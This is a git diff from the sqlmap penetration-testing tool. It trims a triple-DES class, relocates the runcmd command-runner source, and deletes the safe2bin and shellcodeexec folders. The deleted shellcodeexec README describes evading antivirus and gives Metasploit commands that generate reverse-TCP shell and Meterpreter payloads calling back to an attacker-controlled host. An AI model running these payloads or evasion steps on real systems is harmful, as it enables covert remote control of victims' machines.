des(key[16:], self._mode, self._iv, - self._padding, self._padmode) - _baseDes.setKey(self, key) - - # Override setter methods to work on all 3 keys. - - def setMode(self, mode): - """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" - _baseDes.setMode(self, mode) - for key in (self.__key1, self.__key2, self.__key3): - key.setMode(mode) - - def setPadding(self, pad): - """setPadding() -> bytes of length 1. Padding character.""" - _baseDes.setPadding(self, pad) - for key in (self.__key1, self.__key2, self.__key3): - key.setPadding(pad) - - def setPadMode(self, mode): - """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" - _baseDes.setPadMode(self, mode) - for key in (self.__key1, self.__key2, self.__key3): - key.setPadMode(mode) - - def setIV(self, IV): - """Will set the Initial Value, used in conjunction with CBC mode""" - _baseDes.setIV(self, IV) - for key in (self.__key1, self.__key2, self.__key3): - key.setIV(IV) - - def encrypt(self, data, pad=None, padmode=None): - """encrypt(data, [pad], [padmode]) -> bytes - - data : bytes to be encrypted - pad : Optional argument for encryption padding. Must only be one byte - padmode : Optional argument for overriding the padding mode. - - The data must be a multiple of 8 bytes and will be encrypted - with the already specified key. Data does not have to be a - multiple of 8 bytes if the padding character is supplied, or - the padmode is set to PAD_PKCS5, as bytes will then added to - ensure the be padded data is a multiple of 8 bytes. - """ - ENCRYPT = des.ENCRYPT - DECRYPT = des.DECRYPT - data = self._guardAgainstUnicode(data) - if pad is not None: - pad = self._guardAgainstUnicode(pad) - # Pad the data accordingly. - data = self._padData(data, pad, padmode) - if self.getMode() == CBC: - self.__key1.setIV(self.getIV()) - self.__key2.setIV(self.getIV()) - self.__key3.setIV(self.getIV()) - i = 0 - result = [] - while i < len(data): - block = self.__key1.crypt(data[i:i+8], ENCRYPT) - block = self.__key2.crypt(block, DECRYPT) - block = self.__key3.crypt(block, ENCRYPT) - self.__key1.setIV(block) - self.__key2.setIV(block) - self.__key3.setIV(block) - result.append(block) - i += 8 - if _pythonMajorVersion < 3: - return ''.join(result) - else: - return bytes.fromhex('').join(result) - else: - data = self.__key1.crypt(data, ENCRYPT) - data = self.__key2.crypt(data, DECRYPT) - return self.__key3.crypt(data, ENCRYPT) - - def decrypt(self, data, pad=None, padmode=None): - """decrypt(data, [pad], [padmode]) -> bytes - - data : bytes to be encrypted - pad : Optional argument for decryption padding. Must only be one byte - padmode : Optional argument for overriding the padding mode. - - The data must be a multiple of 8 bytes and will be decrypted - with the already specified key. In PAD_NORMAL mode, if the - optional padding character is supplied, then the un-encrypted - data will have the padding characters removed from the end of - the bytes. This pad removal only occurs on the last 8 bytes of - the data (last data block). In PAD_PKCS5 mode, the special - padding end markers will be removed from the data after - decrypting, no pad character is required for PAD_PKCS5. - """ - ENCRYPT = des.ENCRYPT - DECRYPT = des.DECRYPT - data = self._guardAgainstUnicode(data) - if pad is not None: - pad = self._guardAgainstUnicode(pad) - if self.getMode() == CBC: - self.__key1.setIV(self.getIV()) - self.__key2.setIV(self.getIV()) - self.__key3.setIV(self.getIV()) - i = 0 - result = [] - while i < len(data): - iv = data[i:i+8] - block = self.__key3.crypt(iv, DECRYPT) - block = self.__key2.crypt(block, ENCRYPT) - block = self.__key1.crypt(block, DECRYPT) - self.__key1.setIV(iv) - self.__key2.setIV(iv) - self.__key3.setIV(iv) - result.append(block) - i += 8 - if _pythonMajorVersion < 3: - data = ''.join(result) - else: - data = bytes.fromhex('').join(result) - else: - data = self.__key3.crypt(data, DECRYPT) - data = self.__key2.crypt(data, ENCRYPT) - data = self.__key1.crypt(data, DECRYPT) - return self._unpadData(data, pad, padmode) diff --git a/extra/runcmd/README.txt b/extra/runcmd/README.txt index 7d2e93e9ccd..4d4caa8f8eb 100644 --- a/extra/runcmd/README.txt +++ b/extra/runcmd/README.txt @@ -1,7 +1,3 @@ -Files in this folder can be used to compile auxiliary program that can -be used for running command prompt commands skipping standard "cmd /c" way. -They are licensed under the terms of the GNU Lesser General Public License -and it's compiled version is available on the official sqlmap subversion -repository[1]. - -[1] https://svn.sqlmap.org/sqlmap/trunk/sqlmap/shell/runcmd.exe_ +runcmd.exe is an auxiliary program that can be used for running command prompt +commands skipping standard "cmd /c" way. It is licensed under the terms of the +GNU Lesser General Public License. diff --git a/extra/runcmd/runcmd.exe_ b/extra/runcmd/runcmd.exe_ new file mode 100644 index 00000000000..d3b4bebfe90 Binary files /dev/null and b/extra/runcmd/runcmd.exe_ differ diff --git a/extra/runcmd/windows/README.txt b/extra/runcmd/src/README.txt similarity index 100% rename from extra/runcmd/windows/README.txt rename to extra/runcmd/src/README.txt diff --git a/extra/runcmd/windows/runcmd.sln b/extra/runcmd/src/runcmd.sln similarity index 97% rename from extra/runcmd/windows/runcmd.sln rename to extra/runcmd/src/runcmd.sln index 0770582d092..a70c648d0dc 100644 --- a/extra/runcmd/windows/runcmd.sln +++ b/extra/runcmd/src/runcmd.sln @@ -1,20 +1,20 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Win32 = Debug|Win32 - Release|Win32 = Release|Win32 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32 - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32 - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32 - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal + +Microsoft Visual Studio Solution File, Format Version 9.00 +# Visual Studio 2005 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32 + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32 + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32 + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/extra/runcmd/windows/runcmd/runcmd.cpp b/extra/runcmd/src/runcmd/runcmd.cpp similarity index 96% rename from extra/runcmd/windows/runcmd/runcmd.cpp rename to extra/runcmd/src/runcmd/runcmd.cpp index ab40a0c218e..743f2a279ef 100644 --- a/extra/runcmd/windows/runcmd/runcmd.cpp +++ b/extra/runcmd/src/runcmd/runcmd.cpp @@ -1,46 +1,46 @@ -/* - runcmd - a program for running command prompt commands - Copyright (C) 2010 Miroslav Stampar - email: miroslav.stampar@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -#include <stdio.h> -#include <windows.h> -#include <use_ansi.h> -#include "stdafx.h" -#include <string> - -using namespace std; -int main(int argc, char* argv[]) -{ - FILE *fp; - string cmd; - - for( int count = 1; count < argc; count++ ) - cmd += " " + string(argv[count]); - - fp = _popen(cmd.c_str(), "r"); - - if (fp != NULL) { - char buffer[BUFSIZ]; - - while (fgets(buffer, sizeof buffer, fp) != NULL) - fputs(buffer, stdout); - } - - return 0; -} +/* + runcmd - a program for running command prompt commands + Copyright (C) 2010 Miroslav Stampar + email: miroslav.stampar@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#include <stdio.h> +#include <windows.h> +#include <use_ansi.h> +#include "stdafx.h" +#include <string> + +using namespace std; +int main(int argc, char* argv[]) +{ + FILE *fp; + string cmd; + + for( int count = 1; count < argc; count++ ) + cmd += " " + string(argv[count]); + + fp = _popen(cmd.c_str(), "r"); + + if (fp != NULL) { + char buffer[BUFSIZ]; + + while (fgets(buffer, sizeof buffer, fp) != NULL) + fputs(buffer, stdout); + } + + return 0; +} diff --git a/extra/runcmd/windows/runcmd/runcmd.vcproj b/extra/runcmd/src/runcmd/runcmd.vcproj similarity index 95% rename from extra/runcmd/windows/runcmd/runcmd.vcproj rename to extra/runcmd/src/runcmd/runcmd.vcproj index 928c71606b0..157e33863d9 100644 --- a/extra/runcmd/windows/runcmd/runcmd.vcproj +++ b/extra/runcmd/src/runcmd/runcmd.vcproj @@ -1,225 +1,225 @@ -<?xml version="1.0" encoding="windows-1250"?> -<VisualStudioProject - ProjectType="Visual C++" - Version="8,00" - Name="runcmd" - ProjectGUID="{1C6185A9-871A-4F6E-9B2D-BE4399479784}" - RootNamespace="runcmd" - Keyword="Win32Proj" - > - <Platforms> - <Platform - Name="Win32" - /> - </Platforms> - <ToolFiles> - </ToolFiles> - <Configurations> - <Configuration - Name="Debug|Win32" - OutputDirectory="$(SolutionDir)$(ConfigurationName)" - IntermediateDirectory="$(ConfigurationName)" - ConfigurationType="1" - CharacterSet="1" - > - <Tool - Name="VCPreBuildEventTool" - /> - <Tool - Name="VCCustomBuildTool" - /> - <Tool - Name="VCXMLDataGeneratorTool" - /> - <Tool - Name="VCWebServiceProxyGeneratorTool" - /> - <Tool - Name="VCMIDLTool" - /> - <Tool - Name="VCCLCompilerTool" - Optimization="0" - PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE" - MinimalRebuild="true" - BasicRuntimeChecks="3" - RuntimeLibrary="0" - UsePrecompiledHeader="2" - WarningLevel="3" - Detect64BitPortabilityProblems="true" - DebugInformationFormat="4" - /> - <Tool - Name="VCManagedResourceCompilerTool" - /> - <Tool - Name="VCResourceCompilerTool" - /> - <Tool - Name="VCPreLinkEventTool" - /> - <Tool - Name="VCLinkerTool" - LinkIncremental="2" - GenerateDebugInformation="true" - SubSystem="1" - TargetMachine="1" - /> - <Tool - Name="VCALinkTool" - /> - <Tool - Name="VCManifestTool" - /> - <Tool - Name="VCXDCMakeTool" - /> - <Tool - Name="VCBscMakeTool" - /> - <Tool - Name="VCFxCopTool" - /> - <Tool - Name="VCAppVerifierTool" - /> - <Tool - Name="VCWebDeploymentTool" - /> - <Tool - Name="VCPostBuildEventTool" - /> - </Configuration> - <Configuration - Name="Release|Win32" - OutputDirectory="$(SolutionDir)$(ConfigurationName)" - IntermediateDirectory="$(ConfigurationName)" - ConfigurationType="1" - CharacterSet="1" - WholeProgramOptimization="1" - > - <Tool - Name="VCPreBuildEventTool" - /> - <Tool - Name="VCCustomBuildTool" - /> - <Tool - Name="VCXMLDataGeneratorTool" - /> - <Tool - Name="VCWebServiceProxyGeneratorTool" - /> - <Tool - Name="VCMIDLTool" - /> - <Tool - Name="VCCLCompilerTool" - PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE" - RuntimeLibrary="0" - UsePrecompiledHeader="2" - WarningLevel="3" - Detect64BitPortabilityProblems="true" - DebugInformationFormat="3" - /> - <Tool - Name="VCManagedResourceCompilerTool" - /> - <Tool - Name="VCResourceCompilerTool" - /> - <Tool - Name="VCPreLinkEventTool" - /> - <Tool - Name="VCLinkerTool" - LinkIncremental="1" - GenerateDebugInformation="true" - SubSystem="1" - OptimizeReferences="2" - EnableCOMDATFolding="2" - TargetMachine="1" - /> - <Tool - Name="VCALinkTool" - /> - <Tool - Name="VCManifestTool" - /> - <Tool - Name="VCXDCMakeTool" - /> - <Tool - Name="VCBscMakeTool" - /> - <Tool - Name="VCFxCopTool" - /> - <Tool - Name="VCAppVerifierTool" - /> - <Tool - Name="VCWebDeploymentTool" - /> - <Tool - Name="VCPostBuildEventTool" - /> - </Configuration> - </Configurations> - <References> - </References> - <Files> - <Filter - Name="Source Files" - Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx" - UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}" - > - <File - RelativePath=".\runcmd.cpp" - > - </File> - <File - RelativePath=".\stdafx.cpp" - > - <FileConfiguration - Name="Debug|Win32" - > - <Tool - Name="VCCLCompilerTool" - UsePrecompiledHeader="1" - /> - </FileConfiguration> - <FileConfiguration - Name="Release|Win32" - > - <Tool - Name="VCCLCompilerTool" - UsePrecompiledHeader="1" - /> - </FileConfiguration> - </File> - </Filter> - <Filter - Name="Header Files" - Filter="h;hpp;hxx;hm;inl;inc;xsd" - UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}" - > - <File - RelativePath=".\stdafx.h" - > - </File> - </Filter> - <Filter - Name="Resource Files" - Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav" - UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}" - > - </Filter> - <File - RelativePath=".\ReadMe.txt" - > - </File> - </Files> - <Globals> - </Globals> -</VisualStudioProject> +<?xml version="1.0" encoding="windows-1250"?> +<VisualStudioProject + ProjectType="Visual C++" + Version="8,00" + Name="runcmd" + ProjectGUID="{1C6185A9-871A-4F6E-9B2D-BE4399479784}" + RootNamespace="runcmd" + Keyword="Win32Proj" + > + <Platforms> + <Platform + Name="Win32" + /> + </Platforms> + <ToolFiles> + </ToolFiles> + <Configurations> + <Configuration + Name="Debug|Win32" + OutputDirectory="$(SolutionDir)$(ConfigurationName)" + IntermediateDirectory="$(ConfigurationName)" + ConfigurationType="1" + CharacterSet="1" + > + <Tool + Name="VCPreBuildEventTool" + /> + <Tool + Name="VCCustomBuildTool" + /> + <Tool + Name="VCXMLDataGeneratorTool" + /> + <Tool + Name="VCWebServiceProxyGeneratorTool" + /> + <Tool + Name="VCMIDLTool" + /> + <Tool + Name="VCCLCompilerTool" + Optimization="0" + PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE" + MinimalRebuild="true" + BasicRuntimeChecks="3" + RuntimeLibrary="0" + UsePrecompiledHeader="2" + WarningLevel="3" + Detect64BitPortabilityProblems="true" + DebugInformationFormat="4" + /> + <Tool + Name="VCManagedResourceCompilerTool" + /> + <Tool + Name="VCResourceCompilerTool" + /> + <Tool + Name="VCPreLinkEventTool" + /> + <Tool + Name="VCLinkerTool" + LinkIncremental="2" + GenerateDebugInformation="true" + SubSystem="1" + TargetMachine="1" + /> + <Tool + Name="VCALinkTool" + /> + <Tool + Name="VCManifestTool" + /> + <Tool + Name="VCXDCMakeTool" + /> + <Tool + Name="VCBscMakeTool" + /> + <Tool + Name="VCFxCopTool" + /> + <Tool + Name="VCAppVerifierTool" + /> + <Tool + Name="VCWebDeploymentTool" + /> + <Tool + Name="VCPostBuildEventTool" + /> + </Configuration> + <Configuration + Name="Release|Win32" + OutputDirectory="$(SolutionDir)$(ConfigurationName)" + IntermediateDirectory="$(ConfigurationName)" + ConfigurationType="1" + CharacterSet="1" + WholeProgramOptimization="1" + > + <Tool + Name="VCPreBuildEventTool" + /> + <Tool + Name="VCCustomBuildTool" + /> + <Tool + Name="VCXMLDataGeneratorTool" + /> + <Tool + Name="VCWebServiceProxyGeneratorTool" + /> + <Tool + Name="VCMIDLTool" + /> + <Tool + Name="VCCLCompilerTool" + PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE" + RuntimeLibrary="0" + UsePrecompiledHeader="2" + WarningLevel="3" + Detect64BitPortabilityProblems="true" + DebugInformationFormat="3" + /> + <Tool + Name="VCManagedResourceCompilerTool" + /> + <Tool + Name="VCResourceCompilerTool" + /> + <Tool + Name="VCPreLinkEventTool" + /> + <Tool + Name="VCLinkerTool" + LinkIncremental="1" + GenerateDebugInformation="true" + SubSystem="1" + OptimizeReferences="2" + EnableCOMDATFolding="2" + TargetMachine="1" + /> + <Tool + Name="VCALinkTool" + /> + <Tool + Name="VCManifestTool" + /> + <Tool + Name="VCXDCMakeTool" + /> + <Tool + Name="VCBscMakeTool" + /> + <Tool + Name="VCFxCopTool" + /> + <Tool + Name="VCAppVerifierTool" + /> + <Tool + Name="VCWebDeploymentTool" + /> + <Tool + Name="VCPostBuildEventTool" + /> + </Configuration> + </Configurations> + <References> + </References> + <Files> + <Filter + Name="Source Files" + Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx" + UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}" + > + <File + RelativePath=".\runcmd.cpp" + > + </File> + <File + RelativePath=".\stdafx.cpp" + > + <FileConfiguration + Name="Debug|Win32" + > + <Tool + Name="VCCLCompilerTool" + UsePrecompiledHeader="1" + /> + </FileConfiguration> + <FileConfiguration + Name="Release|Win32" + > + <Tool + Name="VCCLCompilerTool" + UsePrecompiledHeader="1" + /> + </FileConfiguration> + </File> + </Filter> + <Filter + Name="Header Files" + Filter="h;hpp;hxx;hm;inl;inc;xsd" + UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}" + > + <File + RelativePath=".\stdafx.h" + > + </File> + </Filter> + <Filter + Name="Resource Files" + Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav" + UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}" + > + </Filter> + <File + RelativePath=".\ReadMe.txt" + > + </File> + </Files> + <Globals> + </Globals> +</VisualStudioProject> diff --git a/extra/runcmd/windows/runcmd/stdafx.cpp b/extra/runcmd/src/runcmd/stdafx.cpp similarity index 97% rename from extra/runcmd/windows/runcmd/stdafx.cpp rename to extra/runcmd/src/runcmd/stdafx.cpp index f5e349538ca..e191a9156a4 100644 --- a/extra/runcmd/windows/runcmd/stdafx.cpp +++ b/extra/runcmd/src/runcmd/stdafx.cpp @@ -1,8 +1,8 @@ -// stdafx.cpp : source file that includes just the standard includes -// runcmd.pch will be the pre-compiled header -// stdafx.obj will contain the pre-compiled type information - -#include "stdafx.h" - -// TODO: reference any additional headers you need in STDAFX.H -// and not in this file +// stdafx.cpp : source file that includes just the standard includes +// runcmd.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/extra/runcmd/windows/runcmd/stdafx.h b/extra/runcmd/src/runcmd/stdafx.h similarity index 96% rename from extra/runcmd/windows/runcmd/stdafx.h rename to extra/runcmd/src/runcmd/stdafx.h index bdabbfb48e9..0be0e6ffee0 100644 --- a/extra/runcmd/windows/runcmd/stdafx.h +++ b/extra/runcmd/src/runcmd/stdafx.h @@ -1,17 +1,17 @@ -// stdafx.h : include file for standard system include files, -// or project specific include files that are used frequently, but -// are changed infrequently -// - -#pragma once - -#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later. -#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows. -#endif - -#include <stdio.h> -#include <tchar.h> - - - -// TODO: reference additional headers your program requires here +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later. +#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows. +#endif + +#include <stdio.h> +#include <tchar.h> + + + +// TODO: reference additional headers your program requires here diff --git a/extra/safe2bin/README.txt b/extra/safe2bin/README.txt deleted file mode 100755 index 06400d6ea98..00000000000 --- a/extra/safe2bin/README.txt +++ /dev/null @@ -1,17 +0,0 @@ -To use safe2bin.py you need to pass it the original file, -and optionally the output file name. - -Example: - -$ python ./safe2bin.py -i output.txt -o output.txt.bin - -This will create an binary decoded file output.txt.bin. For example, -if the content of output.txt is: "\ttest\t\x32\x33\x34\nnewline" it will -be decoded to: " test 234 -newline" - -If you skip the output file name, general rule is that the binary -file names are suffixed with the string '.bin'. So, that means that -the upper example can also be written in the following form: - -$ python ./safe2bin.py -i output.txt diff --git a/extra/safe2bin/__init__.py b/extra/safe2bin/__init__.py deleted file mode 100644 index 652bcd8d837..00000000000 --- a/extra/safe2bin/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -pass diff --git a/extra/safe2bin/safe2bin.py b/extra/safe2bin/safe2bin.py deleted file mode 100755 index be5c5ed1c5b..00000000000 --- a/extra/safe2bin/safe2bin.py +++ /dev/null @@ -1,120 +0,0 @@ -#!/usr/bin/env python - -""" -safe2bin.py - Simple safe(hex) to binary format converter - -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import binascii -import re -import string -import os -import sys - -from optparse import OptionError -from optparse import OptionParser - -# Regex used for recognition of hex encoded characters -HEX_ENCODED_CHAR_REGEX = r"(?P<result>\\x[0-9A-Fa-f]{2})" - -# Raw chars that will be safe encoded to their slash (\) representations (e.g. newline to \n) -SAFE_ENCODE_SLASH_REPLACEMENTS = "\t\n\r\x0b\x0c" - -# Characters that don't need to be safe encoded -SAFE_CHARS = "".join(filter(lambda x: x not in SAFE_ENCODE_SLASH_REPLACEMENTS, string.printable.replace('\\', ''))) - -# String used for temporary marking of slash characters -SLASH_MARKER = "__SLASH__" - -def safecharencode(value): - """ - Returns safe representation of a given basestring value - - >>> safecharencode(u'test123') - u'test123' - >>> safecharencode(u'test\x01\x02\xff') - u'test\\01\\02\\03\\ff' - """ - - retVal = value - - if isinstance(value, basestring): - if any(_ not in SAFE_CHARS for _ in value): - retVal = retVal.replace('\\', SLASH_MARKER) - - for char in SAFE_ENCODE_SLASH_REPLACEMENTS: - retVal = retVal.replace(char, repr(char).strip('\'')) - - retVal = retVal.replace(SLASH_MARKER, '\\\\') - - retVal = reduce(lambda x, y: x + (y if (y in string.printable or ord(y) > 255) else '\\x%02x' % ord(y)), retVal, unicode()) - elif isinstance(value, list): - for i in xrange(len(value)): - retVal[i] = safecharencode(value[i]) - - return retVal - -def safechardecode(value): - """ - Reverse function to safecharencode - """ - - retVal = value - if isinstance(value, basestring): - regex = re.compile(HEX_ENCODED_CHAR_REGEX) - - while True: - match = regex.search(retVal) - if match: - retVal = retVal.replace(match.group("result"), unichr(ord(binascii.unhexlify(match.group("result").lstrip('\\x'))))) - else: - break - - retVal = retVal.replace('\\\\', SLASH_MARKER) - - for char in SAFE_ENCODE_SLASH_REPLACEMENTS[::-1]: - retVal = retVal.replace(repr(char).strip('\''), char) - - retVal = retVal.replace(SLASH_MARKER, '\\') - - elif isinstance(value, (list, tuple)): - for i in xrange(len(value)): - retVal[i] = safechardecode(value[i]) - - return retVal - -def main(): - usage = '%s -i <input file> [-o <output file>]' % sys.argv[0] - parser = OptionParser(usage=usage, version='0.1') - - try: - parser.add_option('-i', dest='inputFile', help='Input file') - parser.add_option('-o', dest='outputFile', help='Output file') - - (args, _) = parser.parse_args() - - if not args.inputFile: - parser.error('Missing the input file, -h for help') - - except (OptionError, TypeError), e: - parser.error(e) - - if not os.path.isfile(args.inputFile): - print 'ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile - sys.exit(1) - - f = open(args.inputFile, 'r') - data = f.read() - f.close() - - if not args.outputFile: - args.outputFile = args.inputFile + '.bin' - - f = open(args.outputFile, 'wb') - f.write(safechardecode(data)) - f.close() - -if __name__ == '__main__': - main() diff --git a/extra/shellcodeexec/README b/extra/shellcodeexec/README deleted file mode 100644 index 47b59bf9ce0..00000000000 --- a/extra/shellcodeexec/README +++ /dev/null @@ -1,126 +0,0 @@ -= Short description = - -shellcodeexec is a small script to execute in memory a sequence of opcodes. - - -= Background = - -Most of the shellcode launchers out there, including proof of concepts -part of many "security" books, detail how to allocate a memory page as -readable/writable/executable on POSIX systems, copy over your shellcode -and execute it. This works just fine. However, it is limited to POSIX, -does not necessarily consider 64-bit architecture and Windows systems. - - -= Description = - -This script and the relevant project files (Makefile and Visual Studio -files) allow you to compile the tool once then run your shellcode across -different architectures and operating systems. - -Moreover, it solves a common real world issue: the target system's anti -virus software blocking a Metasploit-generated payload stager (either EXE -of ELF). Take for instance the following command line: - - $ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/shikata_ga_nai -o /tmp/payload.exe -t exe - -This generates a Metasploit payload stager, payload.exe, that as soon as -it lands on the AV-protected target system is recognized as malicious and -potentially blocked (depending on the on-access scan settings) by many -anti virus products. At the time of writing this text, 21 out 41 anti -viruses detect it as malicious - http://goo.gl/HTw7o. By encoding it -multiple times with msfencode, less AV softwares detect it, still a lot. - -I have been surfing the Net and found some interesting tutorials and -guides about packing, compressing, obfuscating and applying IDA-foo to -portable executables et similar in order to narrow down the number of AV -products that can detect it as a malicious file. This is all interesting, -but does not stop few hard-to-die anti viruses to detect your backdoor. - -So the question is, how cool would it be to have a final solution to avoid -all this hassle? This is exactly where this tool comes into play! - - -= Features = - -shellcodeexec: - -* Can be compiled and works on POSIX (Linux/Unices) and Windows systems. - -* Can be compiled and works on 32-bit and 64-bit architectures. - -* As far as I know, no AV detect it as malicious. - -* Works in DEP/NX-enabled environments: it allocates the memory page where - it stores the shellcode as +rwx - Readable Writable and eXecutable. - -* It supports alphanumeric encoded payloads: you can pipe your binary-encoded - shellcode (generated for instance with Metasploit's msfpayload) to - Metasploit's msfencode to encode it with the alpha_mixed encoder. Set the - BufferRegister variable to EAX registry where the address in memory of - the shellcode will be stored, to avoid get_pc() binary stub to be - prepended to the shellcode. - -* Spawns a new thread where the shellcode is executed in a structure - exception handler (SEH) so that if you wrap shellcodeexec into your own - executable, it avoids the whole process to crash in case of unexpected - behaviours. - - -= HowTo = - -1. Generate a Metasploit shellcode and encode it with the alphanumeric - encoder. For example for a Linux target: - - $ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX - - Or for a Windows target: - - $ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX - - -2. Execute the Metasploit multi/handler listener on your machine. For - example for a Linux target: - - $ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E - - Or for a Windows target: - - $ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E - - -3. Execute the alphanumeric-encoded shellcode with this tool. For example - on the Linux target: - - $ ./shellcodeexec <msfencode's alphanumeric-encoded payload> - - Or, on the Windows target: - - C:\WINDOWS\Temp>shellcodeexec.exe <msfencode's alphanumeric-encoded payload> - - -= License = - -This source code is free software; you can redistribute it and/or -modify it under the terms of the GNU Lesser General Public -License as published by the Free Software Foundation; either -version 2.1 of the License, or (at your option) any later version. - -This library is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -Lesser General Public License for more details. - -You should have received a copy of the GNU Lesser General Public -License along with this library; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - - -= Author = - -Bernardo Damele A. G. <bernardo.damele@gmail.com> - - -= Homepage = - -https://github.com/inquisb/shellcodeexec diff --git a/extra/shellcodeexec/README.txt b/extra/shellcodeexec/README.txt new file mode 100644 index 00000000000..ad8fe349a4e --- /dev/null +++ b/extra/shellcodeexec/README.txt @@ -0,0 +1,4 @@ +Binary files in this folder are data files used by sqlmap on the target +system, but not executed on the system running sqlmap. They are licensed +under the terms of the GNU Lesser General Public License and their source +code is available on https://github.com/inquisb/shellcodeexec. diff --git a/extra/shellcodeexec/linux/Makefile b/extra/shellcodeexec/linux/Makefile deleted file mode 100644 index 8ce996abd8d..00000000000 --- a/extra/shellcodeexec/linux/Makefile +++ /dev/null @@ -1,7 +0,0 @@ -32: - gcc -Wall -Os shellcodeexec.c -o shellcodeexec - strip -sx shellcodeexec - -64: - gcc -Wall -Os shellcodeexec.c -fPIC -o shellcodeexec - strip -sx shellcodeexec diff --git a/extra/shellcodeexec/linux/shellcodeexec.c b/extra/shellcodeexec/linux/shellcodeexec.c deleted file mode 100644 index efec8d7943a..00000000000 --- a/extra/shellcodeexec/linux/shellcodeexec.c +++ /dev/null 